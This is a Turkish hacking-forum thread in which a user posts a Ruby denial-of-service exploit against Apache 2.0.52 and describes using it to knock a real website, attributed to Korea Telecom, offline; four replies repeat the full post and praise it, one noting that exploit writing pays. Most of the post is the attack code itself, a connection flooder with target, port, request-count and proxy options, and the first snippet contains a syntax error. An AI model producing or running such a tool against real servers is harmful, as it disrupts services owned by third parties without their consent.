Exploit Eğitimi #3 (Gerçek Site Hack)(Korea Telecom)

Bunjo

Uzman üye
14 Ara 2020
1,591
1,892
I Won
Ben BUNJO, bugün "Apache 2.0.52" sürümüne yazmış olduğumuz bir "DoS" saldırıs yapan exploit ile bir siteyi hackleyeceğiz.
Bu konuda vermiş olduğum aracı kullanıyorum ve keşif aşamasına geçiyorum. --> "GET Request" ile "Header" ve "Response" Bilgisi Çekmek

Hedef websitenin "Apache 2.0.52" sürümünü kullandığını görüyorum. (Exploiti uyguladığım site şu anda istek işleyebilecek bir durumda olmadığı için "Apache 2.0.53" kullanan alternatif bir site üzerinden gösteriyorum.)



Sürümü internette arattığım zaman pek fazla kaynak bulamıyorum fakat aşağılara doğru indiğimde https://www.giac.org/paper/gcih/666/apache-2052-denial-service-analysis/106768 bu dosyayla karşılaşıyorum ve bu kısımda bir "DoS" açığı olduğunu ve sunucuyu spamlamam gerektiğini anlıyorum.



Kütüphaneleri aktardım.

Ruby:
require 'socket'
require 'net/http'

Kullanıcıdan argümanları aldım.

Ruby:
if ARGV.length < 1
  puts "Usage: #{$PROGRAM_NAME} <host_ip> <request_number> <connect_timeout>"
  exit(0)
end

Sunucuya bağlantı açtım.

Ruby:
begin
  socket = TCPSocket.new(ARGV[0], 80, connect_timeout: 6)
rescue StandardError => standart_error
  puts "Error: #{standart_error.message}"
  exit
end

Kullanıcı girdisi kadar sunucuya boş string spamladım.

Ruby:
begin
  socket.puts "GET / HTTP/1.0"
  trys = ARGV[1].to_i if ARGV[1] || 8000
  puts "Connected to #{ARGV[0]}"

  (1..trys).each do
    socket.puts(" " * )
  end

rescue Errno::EPIPE => e

En sonunda bağlantıyı kapattım.

Ruby:
ensure
  socket.close if socket && !socket.closed?
  puts "dosed.."
end

Dikkatiniz üzerine kodda bir proxy ya da user-agent desteği yoktur. Bu yüzden korumalı sitelerde işe yaramayabilir bunun için exploiti geliştiriyorum: GitHub - thebunjo/apache2.0.52-exploit buradan gelişmeleri takip edebilirsiniz ve exploitin üst düzey haline göz atabilirsiniz. Konuya devam edelim fazla dağıtmadan.



şekilde görüldüğü üzere exploiti kullanıyorum ve hedef apache sunucusunu istek işleyemeyecek hale getiriyorum.

Girmeye çalışalım:



Proxy ile de deneyelim:



Bu arada site hakkında bilgi almak isterseniz:

(KOREA TELECOM)



Bu konu biraz kısa ve kolay oldu bende farkettim exploitin üst düzey halini threading, proxy ve user-agent eklenmemiş halini paylaşayım:


Ruby:
require 'socket'
require 'net/http'
require 'optparse'

def print_banner
  banner_text = <<-'BANNER'
   _                   _
 _( )                 ( )_
(_, |      __ __      | ,_)
   \'\    /  ^  \    /'/
    '\'\,/\      \,/'/'
      '\| []   [] |/'
        (_  /^\  _)   Apache 2.0.52 "GET" Denial Of Service Exploit
          \  ~  /     By BUNJO. Github: https://github.com/thebunjo
          /HHHHH\     -------------  "Anka Red Team"  -------------
        /'/{^^^}\'\
    _,/'/'  ^^^  '\'\,_
   (_, |           | ,_)
     (_)           (_)
  BANNER

  puts banner_text
end

Ruby:
print_banner

$options = {
  target_url: nil,
  timeout: 3,
  request_number: 1881,
  port: 80,
  proxy_file: "./proxy_bunjo.txt",
  use_ssl: false,
}

def print_usage_message
  puts <<~USAGE
    Usage: #{$PROGRAM_NAME} [options]

    Options:
      -d, --domain TARGET_DOMAIN  Target DOMAIN.
      -p, --port ATTACK_PORT       Port to attack (default: #{$options[:port]}).
      -r, --request REQUEST_NUMBER Request number (default: #{$options[:request_number]}).
      -s, --timeout TIMEOUT        Timeout in seconds (default: #{$options[:timeout]}).
      -l, --proxylist PROXY_FILE_PATH  Proxy to use (default: #{$options[:proxy_file]}).

      -h, --help Show this message.
  USAGE
end

Ruby:
OptionParser.new do |opts|
  opts.on("-d", "--domain TARGET_DOMAIN", "Target Domain.") do |target_url|
    $options[:target_url] = target_url.to_s
  end
  opts.on("--use-ssl", "Use SSL") do |use_ssl|
    $options[:use_ssl] = true
  end
  opts.on("-p", "--port ATTACK_PORT", "Port to attack (default: #{$options[:port]}).") do |port|
    $options[:port] = port.to_i
  end
  opts.on("-r", "--request REQUEST_NUMBER", "Request number (default: #{$options[:request_number]}).") do |request_number|
    $options[:request_number] = request_number.to_i
  end
  opts.on("-s", "--timeout TIMEOUT", "Timeout in seconds (default: #{$options[:timeout]}).") do |timeout|
    $options[:timeout] = timeout.to_i
  end
  opts.on("-l", "--proxylist", "Proxy list path. (default: #{$options[:proxy_file]}).") do |proxyfile|
    $options[:proxy_file] = proxyfile
  end
  opts.on("-h", "--help", "Print this help message.") do
    print_usage_message
    exit(0)
  end
end.parse!

Ruby:
def send_request(host, request_number)
  begin
  rescue Errno::EPIPE, Errno::ECONNRESET => e
    puts "Error: #{e.message}"
  rescue Errno::EHOSTUNREACH, Errno::ENETUNREACH => e
    puts "Host or Network Unreachable Error: #{e.message}"
  rescue SocketError, IOError, Exception, StandardError => e
    puts "#{e.class} Error: #{e.message}"
  end
end

def connect_to_target(target, port, request_number, timeout)
  puts "Attack started."
  puts "\tConnected: #{target}"
  puts "\tPort: #{$options[:port]}"

  begin
    $options[:request_number].times do
      $socket_to_connect = TCPSocket.new(target, port, connect_timeout: timeout)
      $socket_to_connect.puts(" ")
      $socket_to_connect.puts "GET / HTTP/1.0"
      $socket_to_connect.close
    end
    puts "Sent: #{request_number}"
    puts "Attack Finished."
  rescue SocketError, Errno::ETIMEDOUT, Errno::ECONNREFUSED => e
    puts "#{e.class} Error: #{e.message}"
    exit(1)
  rescue StandardError => e
    puts "Error: #{e.message}"
    exit(1)
  end
end

Ruby:
if $options[:target_url]
  connect_to_target($options[:target_url], $options[:port], $options[:request_number], $options[:timeout])
else
  print_usage_message
end

exploit daha bitmemiştir gelişme aşamasındadır yardımcı olmak isteyenlere karşı yardıma açığım.
Bu kadardı teşekkür ederim.

Not: exploit eğitimlerine fazla istek gelmemesi üzere bir süre ara veriyorum.
 
Son düzenleme:

Çokgen

Katılımcı Üye
4 Eyl 2023
412
194
Ben BUNJO, bugün "Apache 2.0.52" sürümüne yazmış olduğumuz bir "DoS" saldırıs yapan exploit ile bir siteyi hackleyeceğiz.
Bu konuda vermiş olduğum aracı kullanıyorum ve keşif aşamasına geçiyorum. --> "GET Request" ile "Header" ve "Response" Bilgisi Çekmek

Hedef websitenin "Apache 2.0.52" sürümünü kullandığını görüyorum. (Exploiti uyguladığım site şu anda istek işleyebilecek bir durumda olmadığı için "Apache 2.0.53" kullanan alternatif bir site üzerinden gösteriyorum.)



Sürümü internette arattığım zaman pek fazla kaynak bulamıyorum fakat aşağılara doğru indiğimde https://www.giac.org/paper/gcih/666/apache-2052-denial-service-analysis/106768 bu dosyayla karşılaşıyorum ve bu kısımda bir "DoS" açığı olduğunu ve sunucuyu spamlamam gerektiğini anlıyorum.



Kütüphaneleri aktardım.

Ruby:
require 'socket'
require 'net/http'

Kullanıcıdan argümanları aldım.

Ruby:
if ARGV.length < 1
  puts "Usage: #{$PROGRAM_NAME} <host_ip> <request_number> <connect_timeout>"
  exit(0)
end

Sunucuya bağlantı açtım.

Ruby:
begin
  socket = TCPSocket.new(ARGV[0], 80, connect_timeout: 6)
rescue StandardError => standart_error
  puts "Error: #{standart_error.message}"
  exit
end

Kullanıcı girdisi kadar sunucuya boş string spamladım.

Ruby:
begin
  socket.puts "GET / HTTP/1.0"
  trys = ARGV[1].to_i if ARGV[1] || 8000
  puts "Connected to #{ARGV[0]}"

  (1..trys).each do
    socket.puts(" " * )
  end

rescue Errno::EPIPE => e

En sonunda bağlantıyı kapattım.

Ruby:
ensure
  socket.close if socket && !socket.closed?
  puts "dosed.."
end

Dikkatiniz üzerine kodda bir proxy ya da user-agent desteği yoktur. Bu yüzden korumalı sitelerde işe yaramayabilir bunun için exploiti geliştiriyorum: GitHub - thebunjo/apache2.0.52-exploit buradan gelişmeleri takip edebilirsiniz ve exploitin üst düzey haline göz atabilirsiniz. Konuya devam edelim fazla dağıtmadan.



şekilde görüldüğü üzere exploiti kullanıyorum ve hedef apache sunucusunu istek işleyemeyecek hale getiriyorum.

Girmeye çalışalım:



Proxy ile de deneyelim:



Bu arada site hakkında bilgi almak isterseniz:

(KOREA TELECOM)



Bu konu biraz kısa ve kolay oldu bende farkettim exploitin üst düzey halini threading, proxy ve user-agent eklenmemiş halini paylaşayım:


Ruby:
require 'socket'
require 'net/http'
require 'optparse'

def print_banner
  banner_text = <<-'BANNER'
   _                   _
 _( )                 ( )_
(_, |      __ __      | ,_)
   \'\    /  ^  \    /'/
    '\'\,/\      \,/'/'
      '\| []   [] |/'
        (_  /^\  _)   Apache 2.0.52 "GET" Denial Of Service Exploit
          \  ~  /     By BUNJO. Github: https://github.com/thebunjo
          /HHHHH\     -------------  "Anka Red Team"  -------------
        /'/{^^^}\'\
    _,/'/'  ^^^  '\'\,_
   (_, |           | ,_)
     (_)           (_)
  BANNER

  puts banner_text
end

Ruby:
print_banner

$options = {
  target_url: nil,
  timeout: 3,
  request_number: 1881,
  port: 80,
  proxy_file: "./proxy_bunjo.txt",
  use_ssl: false,
}

def print_usage_message
  puts <<~USAGE
    Usage: #{$PROGRAM_NAME} [options]

    Options:
      -d, --domain TARGET_DOMAIN  Target DOMAIN.
      -p, --port ATTACK_PORT       Port to attack (default: #{$options[:port]}).
      -r, --request REQUEST_NUMBER Request number (default: #{$options[:request_number]}).
      -s, --timeout TIMEOUT        Timeout in seconds (default: #{$options[:timeout]}).
      -l, --proxylist PROXY_FILE_PATH  Proxy to use (default: #{$options[:proxy_file]}).

      -h, --help Show this message.
  USAGE
end

Ruby:
OptionParser.new do |opts|
  opts.on("-d", "--domain TARGET_DOMAIN", "Target Domain.") do |target_url|
    $options[:target_url] = target_url.to_s
  end
  opts.on("--use-ssl", "Use SSL") do |use_ssl|
    $options[:use_ssl] = true
  end
  opts.on("-p", "--port ATTACK_PORT", "Port to attack (default: #{$options[:port]}).") do |port|
    $options[:port] = port.to_i
  end
  opts.on("-r", "--request REQUEST_NUMBER", "Request number (default: #{$options[:request_number]}).") do |request_number|
    $options[:request_number] = request_number.to_i
  end
  opts.on("-s", "--timeout TIMEOUT", "Timeout in seconds (default: #{$options[:timeout]}).") do |timeout|
    $options[:timeout] = timeout.to_i
  end
  opts.on("-l", "--proxylist", "Proxy list path. (default: #{$options[:proxy_file]}).") do |proxyfile|
    $options[:proxy_file] = proxyfile
  end
  opts.on("-h", "--help", "Print this help message.") do
    print_usage_message
    exit(0)
  end
end.parse!

Ruby:
def send_request(host, request_number)
  begin
  rescue Errno::EPIPE, Errno::ECONNRESET => e
    puts "Error: #{e.message}"
  rescue Errno::EHOSTUNREACH, Errno::ENETUNREACH => e
    puts "Host or Network Unreachable Error: #{e.message}"
  rescue SocketError, IOError, Exception, StandardError => e
    puts "#{e.class} Error: #{e.message}"
  end
end

def connect_to_target(target, port, request_number, timeout)
  puts "Attack started."
  puts "\tConnected: #{target}"
  puts "\tPort: #{$options[:port]}"

  begin
    $options[:request_number].times do
      $socket_to_connect = TCPSocket.new(target, port, connect_timeout: timeout)
      $socket_to_connect.puts(" ")
      $socket_to_connect.puts "GET / HTTP/1.0"
      $socket_to_connect.close
    end
    puts "Sent: #{request_number}"
    puts "Attack Finished."
  rescue SocketError, Errno::ETIMEDOUT, Errno::ECONNREFUSED => e
    puts "#{e.class} Error: #{e.message}"
    exit(1)
  rescue StandardError => e
    puts "Error: #{e.message}"
    exit(1)
  end
end

Ruby:
if $options[:target_url]
  connect_to_target($options[:target_url], $options[:port], $options[:request_number], $options[:timeout])
else
  print_usage_message
end

exploit daha bitmemiştir gelişme aşamasındadır yardımcı olmak isteyenlere karşı yardıma açığım.
Bu kadardı teşekkür ederim.

Not: exploit eğitimlerine fazla istek gelmemesi üzere bir süre ara veriyorum.
Ellerinize sağlık hocam.
 

drjacob

Uzman üye
21 Ocak 2012
1,782
409
localhost
Ben BUNJO, bugün "Apache 2.0.52" sürümüne yazmış olduğumuz bir "DoS" saldırıs yapan exploit ile bir siteyi hackleyeceğiz.
Bu konuda vermiş olduğum aracı kullanıyorum ve keşif aşamasına geçiyorum. --> "GET Request" ile "Header" ve "Response" Bilgisi Çekmek

Hedef websitenin "Apache 2.0.52" sürümünü kullandığını görüyorum. (Exploiti uyguladığım site şu anda istek işleyebilecek bir durumda olmadığı için "Apache 2.0.53" kullanan alternatif bir site üzerinden gösteriyorum.)



Sürümü internette arattığım zaman pek fazla kaynak bulamıyorum fakat aşağılara doğru indiğimde https://www.giac.org/paper/gcih/666/apache-2052-denial-service-analysis/106768 bu dosyayla karşılaşıyorum ve bu kısımda bir "DoS" açığı olduğunu ve sunucuyu spamlamam gerektiğini anlıyorum.



Kütüphaneleri aktardım.

Ruby:
require 'socket'
require 'net/http'

Kullanıcıdan argümanları aldım.

Ruby:
if ARGV.length < 1
  puts "Usage: #{$PROGRAM_NAME} <host_ip> <request_number> <connect_timeout>"
  exit(0)
end

Sunucuya bağlantı açtım.

Ruby:
begin
  socket = TCPSocket.new(ARGV[0], 80, connect_timeout: 6)
rescue StandardError => standart_error
  puts "Error: #{standart_error.message}"
  exit
end

Kullanıcı girdisi kadar sunucuya boş string spamladım.

Ruby:
begin
  socket.puts "GET / HTTP/1.0"
  trys = ARGV[1].to_i if ARGV[1] || 8000
  puts "Connected to #{ARGV[0]}"

  (1..trys).each do
    socket.puts(" " * )
  end

rescue Errno::EPIPE => e

En sonunda bağlantıyı kapattım.

Ruby:
ensure
  socket.close if socket && !socket.closed?
  puts "dosed.."
end

Dikkatiniz üzerine kodda bir proxy ya da user-agent desteği yoktur. Bu yüzden korumalı sitelerde işe yaramayabilir bunun için exploiti geliştiriyorum: GitHub - thebunjo/apache2.0.52-exploit buradan gelişmeleri takip edebilirsiniz ve exploitin üst düzey haline göz atabilirsiniz. Konuya devam edelim fazla dağıtmadan.



şekilde görüldüğü üzere exploiti kullanıyorum ve hedef apache sunucusunu istek işleyemeyecek hale getiriyorum.

Girmeye çalışalım:



Proxy ile de deneyelim:



Bu arada site hakkında bilgi almak isterseniz:

(KOREA TELECOM)



Bu konu biraz kısa ve kolay oldu bende farkettim exploitin üst düzey halini threading, proxy ve user-agent eklenmemiş halini paylaşayım:


Ruby:
require 'socket'
require 'net/http'
require 'optparse'

def print_banner
  banner_text = <<-'BANNER'
   _                   _
 _( )                 ( )_
(_, |      __ __      | ,_)
   \'\    /  ^  \    /'/
    '\'\,/\      \,/'/'
      '\| []   [] |/'
        (_  /^\  _)   Apache 2.0.52 "GET" Denial Of Service Exploit
          \  ~  /     By BUNJO. Github: https://github.com/thebunjo
          /HHHHH\     -------------  "Anka Red Team"  -------------
        /'/{^^^}\'\
    _,/'/'  ^^^  '\'\,_
   (_, |           | ,_)
     (_)           (_)
  BANNER

  puts banner_text
end

Ruby:
print_banner

$options = {
  target_url: nil,
  timeout: 3,
  request_number: 1881,
  port: 80,
  proxy_file: "./proxy_bunjo.txt",
  use_ssl: false,
}

def print_usage_message
  puts <<~USAGE
    Usage: #{$PROGRAM_NAME} [options]

    Options:
      -d, --domain TARGET_DOMAIN  Target DOMAIN.
      -p, --port ATTACK_PORT       Port to attack (default: #{$options[:port]}).
      -r, --request REQUEST_NUMBER Request number (default: #{$options[:request_number]}).
      -s, --timeout TIMEOUT        Timeout in seconds (default: #{$options[:timeout]}).
      -l, --proxylist PROXY_FILE_PATH  Proxy to use (default: #{$options[:proxy_file]}).

      -h, --help Show this message.
  USAGE
end

Ruby:
OptionParser.new do |opts|
  opts.on("-d", "--domain TARGET_DOMAIN", "Target Domain.") do |target_url|
    $options[:target_url] = target_url.to_s
  end
  opts.on("--use-ssl", "Use SSL") do |use_ssl|
    $options[:use_ssl] = true
  end
  opts.on("-p", "--port ATTACK_PORT", "Port to attack (default: #{$options[:port]}).") do |port|
    $options[:port] = port.to_i
  end
  opts.on("-r", "--request REQUEST_NUMBER", "Request number (default: #{$options[:request_number]}).") do |request_number|
    $options[:request_number] = request_number.to_i
  end
  opts.on("-s", "--timeout TIMEOUT", "Timeout in seconds (default: #{$options[:timeout]}).") do |timeout|
    $options[:timeout] = timeout.to_i
  end
  opts.on("-l", "--proxylist", "Proxy list path. (default: #{$options[:proxy_file]}).") do |proxyfile|
    $options[:proxy_file] = proxyfile
  end
  opts.on("-h", "--help", "Print this help message.") do
    print_usage_message
    exit(0)
  end
end.parse!

Ruby:
def send_request(host, request_number)
  begin
  rescue Errno::EPIPE, Errno::ECONNRESET => e
    puts "Error: #{e.message}"
  rescue Errno::EHOSTUNREACH, Errno::ENETUNREACH => e
    puts "Host or Network Unreachable Error: #{e.message}"
  rescue SocketError, IOError, Exception, StandardError => e
    puts "#{e.class} Error: #{e.message}"
  end
end

def connect_to_target(target, port, request_number, timeout)
  puts "Attack started."
  puts "\tConnected: #{target}"
  puts "\tPort: #{$options[:port]}"

  begin
    $options[:request_number].times do
      $socket_to_connect = TCPSocket.new(target, port, connect_timeout: timeout)
      $socket_to_connect.puts(" ")
      $socket_to_connect.puts "GET / HTTP/1.0"
      $socket_to_connect.close
    end
    puts "Sent: #{request_number}"
    puts "Attack Finished."
  rescue SocketError, Errno::ETIMEDOUT, Errno::ECONNREFUSED => e
    puts "#{e.class} Error: #{e.message}"
    exit(1)
  rescue StandardError => e
    puts "Error: #{e.message}"
    exit(1)
  end
end

Ruby:
if $options[:target_url]
  connect_to_target($options[:target_url], $options[:port], $options[:request_number], $options[:timeout])
else
  print_usage_message
end

exploit daha bitmemiştir gelişme aşamasındadır yardımcı olmak isteyenlere karşı yardıma açığım.
Bu kadardı teşekkür ederim.

Not: exploit eğitimlerine fazla istek gelmemesi üzere bir süre ara veriyorum.
emeğine sağlık hocam.
 

Yagami Light0

Katılımcı Üye
5 May 2023
712
318
Ben BUNJO, bugün "Apache 2.0.52" sürümüne yazmış olduğumuz bir "DoS" saldırıs yapan exploit ile bir siteyi hackleyeceğiz.
Bu konuda vermiş olduğum aracı kullanıyorum ve keşif aşamasına geçiyorum. --> "GET Request" ile "Header" ve "Response" Bilgisi Çekmek

Hedef websitenin "Apache 2.0.52" sürümünü kullandığını görüyorum. (Exploiti uyguladığım site şu anda istek işleyebilecek bir durumda olmadığı için "Apache 2.0.53" kullanan alternatif bir site üzerinden gösteriyorum.)



Sürümü internette arattığım zaman pek fazla kaynak bulamıyorum fakat aşağılara doğru indiğimde https://www.giac.org/paper/gcih/666/apache-2052-denial-service-analysis/106768 bu dosyayla karşılaşıyorum ve bu kısımda bir "DoS" açığı olduğunu ve sunucuyu spamlamam gerektiğini anlıyorum.



Kütüphaneleri aktardım.

Ruby:
require 'socket'
require 'net/http'

Kullanıcıdan argümanları aldım.

Ruby:
if ARGV.length < 1
  puts "Usage: #{$PROGRAM_NAME} <host_ip> <request_number> <connect_timeout>"
  exit(0)
end

Sunucuya bağlantı açtım.

Ruby:
begin
  socket = TCPSocket.new(ARGV[0], 80, connect_timeout: 6)
rescue StandardError => standart_error
  puts "Error: #{standart_error.message}"
  exit
end

Kullanıcı girdisi kadar sunucuya boş string spamladım.

Ruby:
begin
  socket.puts "GET / HTTP/1.0"
  trys = ARGV[1].to_i if ARGV[1] || 8000
  puts "Connected to #{ARGV[0]}"

  (1..trys).each do
    socket.puts(" " * )
  end

rescue Errno::EPIPE => e

En sonunda bağlantıyı kapattım.

Ruby:
ensure
  socket.close if socket && !socket.closed?
  puts "dosed.."
end

Dikkatiniz üzerine kodda bir proxy ya da user-agent desteği yoktur. Bu yüzden korumalı sitelerde işe yaramayabilir bunun için exploiti geliştiriyorum: GitHub - thebunjo/apache2.0.52-exploit buradan gelişmeleri takip edebilirsiniz ve exploitin üst düzey haline göz atabilirsiniz. Konuya devam edelim fazla dağıtmadan.



şekilde görüldüğü üzere exploiti kullanıyorum ve hedef apache sunucusunu istek işleyemeyecek hale getiriyorum.

Girmeye çalışalım:



Proxy ile de deneyelim:



Bu arada site hakkında bilgi almak isterseniz:

(KOREA TELECOM)



Bu konu biraz kısa ve kolay oldu bende farkettim exploitin üst düzey halini threading, proxy ve user-agent eklenmemiş halini paylaşayım:


Ruby:
require 'socket'
require 'net/http'
require 'optparse'

def print_banner
  banner_text = <<-'BANNER'
   _                   _
 _( )                 ( )_
(_, |      __ __      | ,_)
   \'\    /  ^  \    /'/
    '\'\,/\      \,/'/'
      '\| []   [] |/'
        (_  /^\  _)   Apache 2.0.52 "GET" Denial Of Service Exploit
          \  ~  /     By BUNJO. Github: https://github.com/thebunjo
          /HHHHH\     -------------  "Anka Red Team"  -------------
        /'/{^^^}\'\
    _,/'/'  ^^^  '\'\,_
   (_, |           | ,_)
     (_)           (_)
  BANNER

  puts banner_text
end

Ruby:
print_banner

$options = {
  target_url: nil,
  timeout: 3,
  request_number: 1881,
  port: 80,
  proxy_file: "./proxy_bunjo.txt",
  use_ssl: false,
}

def print_usage_message
  puts <<~USAGE
    Usage: #{$PROGRAM_NAME} [options]

    Options:
      -d, --domain TARGET_DOMAIN  Target DOMAIN.
      -p, --port ATTACK_PORT       Port to attack (default: #{$options[:port]}).
      -r, --request REQUEST_NUMBER Request number (default: #{$options[:request_number]}).
      -s, --timeout TIMEOUT        Timeout in seconds (default: #{$options[:timeout]}).
      -l, --proxylist PROXY_FILE_PATH  Proxy to use (default: #{$options[:proxy_file]}).

      -h, --help Show this message.
  USAGE
end

Ruby:
OptionParser.new do |opts|
  opts.on("-d", "--domain TARGET_DOMAIN", "Target Domain.") do |target_url|
    $options[:target_url] = target_url.to_s
  end
  opts.on("--use-ssl", "Use SSL") do |use_ssl|
    $options[:use_ssl] = true
  end
  opts.on("-p", "--port ATTACK_PORT", "Port to attack (default: #{$options[:port]}).") do |port|
    $options[:port] = port.to_i
  end
  opts.on("-r", "--request REQUEST_NUMBER", "Request number (default: #{$options[:request_number]}).") do |request_number|
    $options[:request_number] = request_number.to_i
  end
  opts.on("-s", "--timeout TIMEOUT", "Timeout in seconds (default: #{$options[:timeout]}).") do |timeout|
    $options[:timeout] = timeout.to_i
  end
  opts.on("-l", "--proxylist", "Proxy list path. (default: #{$options[:proxy_file]}).") do |proxyfile|
    $options[:proxy_file] = proxyfile
  end
  opts.on("-h", "--help", "Print this help message.") do
    print_usage_message
    exit(0)
  end
end.parse!

Ruby:
def send_request(host, request_number)
  begin
  rescue Errno::EPIPE, Errno::ECONNRESET => e
    puts "Error: #{e.message}"
  rescue Errno::EHOSTUNREACH, Errno::ENETUNREACH => e
    puts "Host or Network Unreachable Error: #{e.message}"
  rescue SocketError, IOError, Exception, StandardError => e
    puts "#{e.class} Error: #{e.message}"
  end
end

def connect_to_target(target, port, request_number, timeout)
  puts "Attack started."
  puts "\tConnected: #{target}"
  puts "\tPort: #{$options[:port]}"

  begin
    $options[:request_number].times do
      $socket_to_connect = TCPSocket.new(target, port, connect_timeout: timeout)
      $socket_to_connect.puts(" ")
      $socket_to_connect.puts "GET / HTTP/1.0"
      $socket_to_connect.close
    end
    puts "Sent: #{request_number}"
    puts "Attack Finished."
  rescue SocketError, Errno::ETIMEDOUT, Errno::ECONNREFUSED => e
    puts "#{e.class} Error: #{e.message}"
    exit(1)
  rescue StandardError => e
    puts "Error: #{e.message}"
    exit(1)
  end
end

Ruby:
if $options[:target_url]
  connect_to_target($options[:target_url], $options[:port], $options[:request_number], $options[:timeout])
else
  print_usage_message
end

exploit daha bitmemiştir gelişme aşamasındadır yardımcı olmak isteyenlere karşı yardıma açığım.
Bu kadardı teşekkür ederim.

Not: exploit eğitimlerine fazla istek gelmemesi üzere bir süre ara veriyorum.
Kaliteli konu budur iste,eline saglik
 

Kudad

Katılımcı Üye
14 Nis 2021
631
138
Ben BUNJO, bugün "Apache 2.0.52" sürümüne yazmış olduğumuz bir "DoS" saldırıs yapan exploit ile bir siteyi hackleyeceğiz.
Bu konuda vermiş olduğum aracı kullanıyorum ve keşif aşamasına geçiyorum. --> "GET Request" ile "Header" ve "Response" Bilgisi Çekmek

Hedef websitenin "Apache 2.0.52" sürümünü kullandığını görüyorum. (Exploiti uyguladığım site şu anda istek işleyebilecek bir durumda olmadığı için "Apache 2.0.53" kullanan alternatif bir site üzerinden gösteriyorum.)



Sürümü internette arattığım zaman pek fazla kaynak bulamıyorum fakat aşağılara doğru indiğimde https://www.giac.org/paper/gcih/666/apache-2052-denial-service-analysis/106768 bu dosyayla karşılaşıyorum ve bu kısımda bir "DoS" açığı olduğunu ve sunucuyu spamlamam gerektiğini anlıyorum.



Kütüphaneleri aktardım.

Ruby:
require 'socket'
require 'net/http'

Kullanıcıdan argümanları aldım.

Ruby:
if ARGV.length < 1
  puts "Usage: #{$PROGRAM_NAME} <host_ip> <request_number> <connect_timeout>"
  exit(0)
end

Sunucuya bağlantı açtım.

Ruby:
begin
  socket = TCPSocket.new(ARGV[0], 80, connect_timeout: 6)
rescue StandardError => standart_error
  puts "Error: #{standart_error.message}"
  exit
end

Kullanıcı girdisi kadar sunucuya boş string spamladım.

Ruby:
begin
  socket.puts "GET / HTTP/1.0"
  trys = ARGV[1].to_i if ARGV[1] || 8000
  puts "Connected to #{ARGV[0]}"

  (1..trys).each do
    socket.puts(" " * )
  end

rescue Errno::EPIPE => e

En sonunda bağlantıyı kapattım.

Ruby:
ensure
  socket.close if socket && !socket.closed?
  puts "dosed.."
end

Dikkatiniz üzerine kodda bir proxy ya da user-agent desteği yoktur. Bu yüzden korumalı sitelerde işe yaramayabilir bunun için exploiti geliştiriyorum: GitHub - thebunjo/apache2.0.52-exploit buradan gelişmeleri takip edebilirsiniz ve exploitin üst düzey haline göz atabilirsiniz. Konuya devam edelim fazla dağıtmadan.



şekilde görüldüğü üzere exploiti kullanıyorum ve hedef apache sunucusunu istek işleyemeyecek hale getiriyorum.

Girmeye çalışalım:



Proxy ile de deneyelim:



Bu arada site hakkında bilgi almak isterseniz:

(KOREA TELECOM)



Bu konu biraz kısa ve kolay oldu bende farkettim exploitin üst düzey halini threading, proxy ve user-agent eklenmemiş halini paylaşayım:


Ruby:
require 'socket'
require 'net/http'
require 'optparse'

def print_banner
  banner_text = <<-'BANNER'
   _                   _
 _( )                 ( )_
(_, |      __ __      | ,_)
   \'\    /  ^  \    /'/
    '\'\,/\      \,/'/'
      '\| []   [] |/'
        (_  /^\  _)   Apache 2.0.52 "GET" Denial Of Service Exploit
          \  ~  /     By BUNJO. Github: https://github.com/thebunjo
          /HHHHH\     -------------  "Anka Red Team"  -------------
        /'/{^^^}\'\
    _,/'/'  ^^^  '\'\,_
   (_, |           | ,_)
     (_)           (_)
  BANNER

  puts banner_text
end

Ruby:
print_banner

$options = {
  target_url: nil,
  timeout: 3,
  request_number: 1881,
  port: 80,
  proxy_file: "./proxy_bunjo.txt",
  use_ssl: false,
}

def print_usage_message
  puts <<~USAGE
    Usage: #{$PROGRAM_NAME} [options]

    Options:
      -d, --domain TARGET_DOMAIN  Target DOMAIN.
      -p, --port ATTACK_PORT       Port to attack (default: #{$options[:port]}).
      -r, --request REQUEST_NUMBER Request number (default: #{$options[:request_number]}).
      -s, --timeout TIMEOUT        Timeout in seconds (default: #{$options[:timeout]}).
      -l, --proxylist PROXY_FILE_PATH  Proxy to use (default: #{$options[:proxy_file]}).

      -h, --help Show this message.
  USAGE
end

Ruby:
OptionParser.new do |opts|
  opts.on("-d", "--domain TARGET_DOMAIN", "Target Domain.") do |target_url|
    $options[:target_url] = target_url.to_s
  end
  opts.on("--use-ssl", "Use SSL") do |use_ssl|
    $options[:use_ssl] = true
  end
  opts.on("-p", "--port ATTACK_PORT", "Port to attack (default: #{$options[:port]}).") do |port|
    $options[:port] = port.to_i
  end
  opts.on("-r", "--request REQUEST_NUMBER", "Request number (default: #{$options[:request_number]}).") do |request_number|
    $options[:request_number] = request_number.to_i
  end
  opts.on("-s", "--timeout TIMEOUT", "Timeout in seconds (default: #{$options[:timeout]}).") do |timeout|
    $options[:timeout] = timeout.to_i
  end
  opts.on("-l", "--proxylist", "Proxy list path. (default: #{$options[:proxy_file]}).") do |proxyfile|
    $options[:proxy_file] = proxyfile
  end
  opts.on("-h", "--help", "Print this help message.") do
    print_usage_message
    exit(0)
  end
end.parse!

Ruby:
def send_request(host, request_number)
  begin
  rescue Errno::EPIPE, Errno::ECONNRESET => e
    puts "Error: #{e.message}"
  rescue Errno::EHOSTUNREACH, Errno::ENETUNREACH => e
    puts "Host or Network Unreachable Error: #{e.message}"
  rescue SocketError, IOError, Exception, StandardError => e
    puts "#{e.class} Error: #{e.message}"
  end
end

def connect_to_target(target, port, request_number, timeout)
  puts "Attack started."
  puts "\tConnected: #{target}"
  puts "\tPort: #{$options[:port]}"

  begin
    $options[:request_number].times do
      $socket_to_connect = TCPSocket.new(target, port, connect_timeout: timeout)
      $socket_to_connect.puts(" ")
      $socket_to_connect.puts "GET / HTTP/1.0"
      $socket_to_connect.close
    end
    puts "Sent: #{request_number}"
    puts "Attack Finished."
  rescue SocketError, Errno::ETIMEDOUT, Errno::ECONNREFUSED => e
    puts "#{e.class} Error: #{e.message}"
    exit(1)
  rescue StandardError => e
    puts "Error: #{e.message}"
    exit(1)
  end
end

Ruby:
if $options[:target_url]
  connect_to_target($options[:target_url], $options[:port], $options[:request_number], $options[:timeout])
else
  print_usage_message
end

exploit daha bitmemiştir gelişme aşamasındadır yardımcı olmak isteyenlere karşı yardıma açığım.
Bu kadardı teşekkür ederim.

Not: exploit eğitimlerine fazla istek gelmemesi üzere bir süre ara veriyorum.
ellerine sağlık.
exploit e devam et parayı vuruyorsun bir zaman sonra exploit yazarak.
 
Üst

